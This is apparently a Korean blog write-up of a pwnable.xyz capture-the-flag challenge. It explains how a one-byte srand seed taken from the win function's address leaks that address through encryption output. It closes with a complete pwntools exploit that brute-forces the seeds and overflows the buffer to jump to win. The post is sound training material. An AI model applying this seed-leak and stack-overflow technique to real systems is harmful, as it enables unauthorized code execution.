1. 문제
1) mitigation 확인
카나리 빼고 다 걸려있다.
2) 문제 확인
1번 메뉴는 아무 반으이 없다. 2번은 평문을 입력하면 암호화가 되는것 같다. 3번으로 암호화된 문자열을 출력시켜준다.
3) 코드 확인
- do_seed() 함수
void __fastcall do_seed(unsigned __int64 win) { unsigned int seed; // [rsp+1Ch] [rbp-4h] seed = (unsigned __int8)(win >> (8 * (rand() & 7u))); srand(seed); }
1번 메뉴시 호출되는 함수이다. 인자로는 win 함수가 전달된다. 여기서 srand에 들어가는 시드값을 설정하게 되는데, rand() 값과 7을 & 연산으로 통해 나온 값 * 8 만큼 win 함수를 오른쪽으로 시프트 연산을 한다. 그다음 그 하위 한바이트를 seed 값으로 택한다.
rand() & 7 연산에서 나올수 있는 최대 값은 7 이다. 따라서 8*0 ~ 8*7 사이의 값이 나오게 되고, 이 의미는 win 함수를 오른쪽으로 최대 7바이트 밀수 있다는 소리이다. 즉, seed에 들어가는 값은, win 함수 주소 6바이트 중 한바이트이다. 그렇기 때문에 seed값의 범위는 0 ~ 0xff 를 가진다.
- encrypt() 함수
__int64 __fastcall encrypt(char *a1) { __int64 result; // rax char v2; // [rsp+1Bh] [rbp-5h] int i; // [rsp+1Ch] [rbp-4h] v2 = rand(); for ( i = 0; ; ++i ) { result = (unsigned __int8)a1[i]; if ( !(_BYTE)result ) break; a1[i] += v2; } return result; }
해당 함수는 2번 메뉴 선택시 입력한 문자열을 암호화 시키는 함수이다. rand()를 한번 더 호출해서 v2에 저장을 하고 , 입력했던 문자열을 한바이트씩 v2와 더해서 다시 저장을 한다. 3번 메뉴는, 저 암호화시킨, 문자열을 출력하는 간단한 로직이다.
2. 접근방법
이번 문제는 너무 오래걸렸다. 2번 메뉴에서 readline() 함수를 통해 bof가 가능해서 ret에 win 주소를 박으면 끝난다. 하지만 그러기 위해서는 win함수나 코드영역 주소를 알아야하는데, 현재 출력함수도 0x80 만큼만 출력해준다. 더군다나 초기에 해당 버퍼를 memset으로 초기화 시키므로 그 어떤것도 leak시킬수 없었다..
수많은 삽질과, 롸업 몰래 들여다보기.. 를 통해 깨달은 접근 방법은 다음과 같다.
(사실 롸업을 들여다 봐도 존나 이해가 안됬음.)
- do_seed() 를 선택하면
- win 함수의 한바이트가 seed로 들어감.
- 이 상태에서 2번 메뉴를 선택하면, 해당 seed를 기준으로 rand() 함수가 호출됨.
- 출력된 랜덤값 하위 한바이트와 사용자가 입력한 값을 더함.
- 3번메뉴로 출력되는 값 - 내가 입력한 값을 계산하면 랜덤값을 알 수 있음.
??? 그래서 뭐 어쩌라는거지?
내가 알아내야 하는건 시드 값인데 3번 메뉴로 알수 있는 거는 특정 시드값에 대한 랜덤값임. 이 랜덤값은 매번 바뀜. 허허.. 어쩌지..
방법은 의외로 간단하다. seed 값의 범위는 어짜피 한바이트이니, 0 ~ 0xff 까지 모든 시드에 대해서 나올수 있는 랜덤값을 다 적어 넣고, 3번 메뉴를 통해 알아낸 랜덤값에 해당하는 시드값을 찾으면 된다!, 시드 하나당 랜덤값은 10개정도만 출력하면 된다. 왜냐하면 시드 0 기준으로 10개 랜덤값을 뽑았을 때
seed = 0 기준
--------------------
rand() 값
0x6b8b4567 -> 7
0x327b23c6 -> 6
0x643c9869 -> 1
0x66334873 -> 3
0x74b0dc51 -> 1
0x19495cff -> 7
0x2ae8944a -> 2
0x625558ec -> 4
0x238e1f29 -> 1
0x46e87ccd -> 5
요렇게 나온다. 초기에 2번 메뉴에서 rand 값은 0x6b8b4567 이 나온다. 그다음 한번더 2번 메뉴를 호출하면 0x327b23c6 가 나온다. 이상태에서 1번 메뉴를 호출하게 되면, rand() 값은 0x643c9869 가 나오게 되고 이 값과 7을 & 연산하면 1이 나온다. 따라서 win >> 8*1 을 통해 seed 값은 win 함수의 하위 2번째 바이트 값이 들어가게 된다.
win 함수가 0x12345678 라고 가정했을때
이 상태에서 다시 2번 메뉴를 호출하면 seed(0x56)을 기준으로 랜덤값이 나오게 되고, 이 랜덤값은 우리가 3번 메뉴로 알아낼 수 있다. 그렇다면, 아까 초기에 모든 시드에 대해서 생성해놓은 랜덤값 중에 알아낸 랜덤값을 검색하여 , 그때의 시드값을 찾으면 끝이다!!!!!!!!!!!!!!!!
단 주의 할 점은, 검색할때, 각 시드에 대해서 동일한 시드 값과 비교해야한다. 무슨말이냐면 0xab
라는 랜덤값을 찾는다고 할때, 저 랜덤값이 어떤 시드에 대한, 몇번째 랜덤값인지는 모르지만, 세팅해 놓은 모든 경우의 수에서, 첫번째 랜덤값에 해당하는 모든 시드들을 비교하고, 검색안되면, 그다음 두번쨰 랜덤값에 대해서 다시 모든 시드들 비교, 이렇게 말이다.
어쨋든 이런식으로 비교를 한다고 했을때, 만약 5번째 랜덤값 을 검색하는 도중 0x3 시드와 0x33 시드가 같은 값을 가진다고 해보자. 0xab
랜덤값이 0x3 시드로 만들어 졌을수도 있고, 0x33 시드로 만들어 졌을수도 있다. 확률은 절반이다. 만약 시드 5개에서 동일한 위치에, 랜덤값이 존재한다면? 확률은 5분의 1이다.
따라서 이런 불확실한 확률을 피하기 위해 랜덤값 순서당, 단 하나의 시드값만 나오는 경우를 택하면 된다.
정리하면 요렇게 된다.
3. 풀이
사실 익스코드는 아래의 사이트를 거의 이해하는 수준으로 짯다 ;; 어떻게 이렇게 코드를 짤수 있는지 대단하신것 같다. 더 분발해야겠..
from pwn import *
from ctypes import CDLL
import copy
#context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30040)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xB6F+$code\n')
lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
def init():
global buf
buf={}
for seed in range(0x100) :
lib.srand(seed)
buf[seed] = []
for i in range(10) :
buf[seed].append(lib.rand())
def srand_(seed):
lib.srand(seed)
def get_():
return lib.rand()
def seed():
p.sendlineafter("> ","1")
def encrypt():
p.sendlineafter("> ","2")
p.sendlineafter(": ","A")
def show():
p.sendlineafter("> ","3")
p.recvuntil('text: ')
tmp=u8(p.recv(1))
#log.info(hex(tmp))
#pause()
return int(tmp)
init()
srand_(0)
win2=0
for i in range(6):
while 1:
if (lib.rand() & 7) == i:
seed()
srand_(i)
break;
else:
encrypt()
tmp = [j for j in range(0x100)]
tmp2 = []
j=0
while len(tmp) !=1 :
#print('j=='+str(j))
encrypt()
result=show()
for t in tmp :
if (0x41+buf[t][j])%0x100 == result :
print('buf['+hex(t)+']'+'['+str(j)+']')
#pause()
tmp2.append(t)
tmp = tmp2
tmp2=[]
j=j+1
srand_(tmp[0])
for _ in range(j) :
lib.rand()
win2 |= tmp[0] << i*8
log.info('win = '+hex(win2))
r = lib.rand()
tmp=win2
a=0
for i in range(6):
a |= ( (( (tmp >> 8*i) & 0xff ) - r%0x100) & 0xff ) << i*8
print(hex(a))
print('=============='+hex(r))
print(hex(a))
#gdb.attach(p,'code\nb *0xD07+$code\n')
pause()
payload="A"*0x98
payload+=p64(a)
p.sendlineafter("> ","2")
p.sendlineafter(": ",payload)
p.sendlineafter("> ","0")
p.interactive()
4. 몰랐던 개념
- 도대체 이런 문제는 어떻게 푸는 거지?
- 스스로 이런 문제를 푸는 능력은 어떻게 길러야 하는건가..
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] PvE (0) | 2020.05.27 |
---|---|
[pwnable.xyz] note v3 (0) | 2020.05.25 |
[pwnable.xyz] door (0) | 2020.05.20 |
[pwnable.xyz] child (0) | 2020.05.19 |
[pwnable.xyz] Car shop (0) | 2020.05.18 |